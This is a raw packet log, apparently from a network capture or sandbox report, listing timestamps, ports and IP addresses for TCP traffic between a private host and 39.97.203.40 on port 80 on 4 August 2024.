Aug 4, 2024 12:55:10.597218990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.597835064 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.597879887 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.597918987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603581905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603595018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603631020 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.603699923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603715897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603730917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603856087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603862047 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.603871107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603884935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.603924990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.608378887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608392000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608432055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608434916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.608473063 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.608513117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608527899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608562946 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.608597994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608613014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.608656883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.608675957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615164042 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615189075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615204096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615219116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.615243912 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.615365982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615381002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615396023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615417004 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.615506887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.615554094 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.619009018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619021893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619059086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619060040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.619124889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619141102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619168997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.619270086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619285107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619298935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.619313955 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.619334936 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.625624895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625699043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625722885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625741959 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.625777960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625823021 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.625839949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625855923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625897884 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.625958920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.625971079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626012087 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.626606941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626677990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626693964 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626722097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.626820087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626836061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626851082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.626868010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.626885891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.626951933 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629297018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629343033 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.629357100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629371881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629410982 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.629447937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629502058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629547119 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.629580975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629595995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.629633904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.629657030 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639570951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639633894 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.639652014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639667988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639739037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639770985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639839888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.639839888 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.639844894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639861107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639873981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.639911890 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.648691893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.648705006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.648720026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.648744106 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.648760080 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.648823977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.648838997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.648854971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.648880005 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.649018049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.649034023 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.649064064 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.664648056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664696932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.664849997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664864063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664880037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664895058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664904118 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.664908886 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664925098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.664927006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.664961100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.664983034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665013075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665049076 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.665132999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665148973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665163994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665191889 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.665258884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665306091 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.665338993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665354013 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.665395975 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.667629957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667691946 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667707920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667732954 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.667772055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667817116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.667850971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667865992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667901039 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.667974949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.667987108 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.668020964 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.674505949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674559116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674572945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674602985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.674628973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674669981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.674715996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674731970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674746990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674761057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.674765110 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.674807072 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.677031040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677089930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677113056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677131891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.677247047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677262068 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677277088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677289009 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.677292109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677309990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.677311897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.677355051 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.679341078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.679414988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.679430008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.679461002 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.679503918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.679519892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.679549932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.679619074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.679665089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.679697990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685550928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685596943 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.685609102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685625076 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685656071 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.685853004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685868979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685883999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685899019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.685904980 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.685937881 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.691333055 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691389084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691401958 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691437006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.691509008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691524982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691539049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691554070 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691557884 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.691570044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.691688061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.691735983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.696105957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696120024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696151018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696156025 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.696235895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696250916 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696268082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696285963 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.696302891 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.696367025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696388006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.696428061 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.702661991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702694893 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702708960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702733040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.702792883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702815056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702837944 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.702929974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702944994 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702958107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.702975988 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.702999115 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.706696987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.706738949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.706754923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.706785917 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.706877947 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.706895113 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.706924915 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.706995010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.707010031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.707041025 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.713295937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713346958 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.713356018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713371038 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713409901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.713495016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713509083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713524103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713548899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.713622093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.713665009 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.714245081 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714482069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714526892 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.714528084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714543104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714576006 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.714606047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714667082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714682102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714705944 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.714837074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.714883089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.717196941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.717272997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.717288017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.717319965 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.717396021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.717411041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.717426062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.717439890 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.717463017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.717524052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727576017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727605104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727621078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727636099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727642059 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.727650881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727659941 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.727667093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727684975 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.727689981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.727731943 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.736433029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736468077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736490965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736516953 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.736598969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736613989 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736629009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736649036 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.736674070 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.736747026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736762047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.736804008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.752681017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752751112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752765894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752794981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.752902031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752916098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752931118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752945900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752947092 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.752962112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.752970934 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.753005028 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.753186941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.753202915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.753217936 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.753232956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.753237963 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.753248930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.753263950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.753269911 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.753319025 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.755347967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755435944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755476952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.755485058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755498886 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755534887 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.755573034 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755587101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755603075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755615950 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.755707026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.755750895 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.762222052 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762285948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762301922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762335062 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.762387991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762434959 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.762481928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762496948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762511015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.762522936 CEST	80	49709	39.97.203.40	192.168.2.5
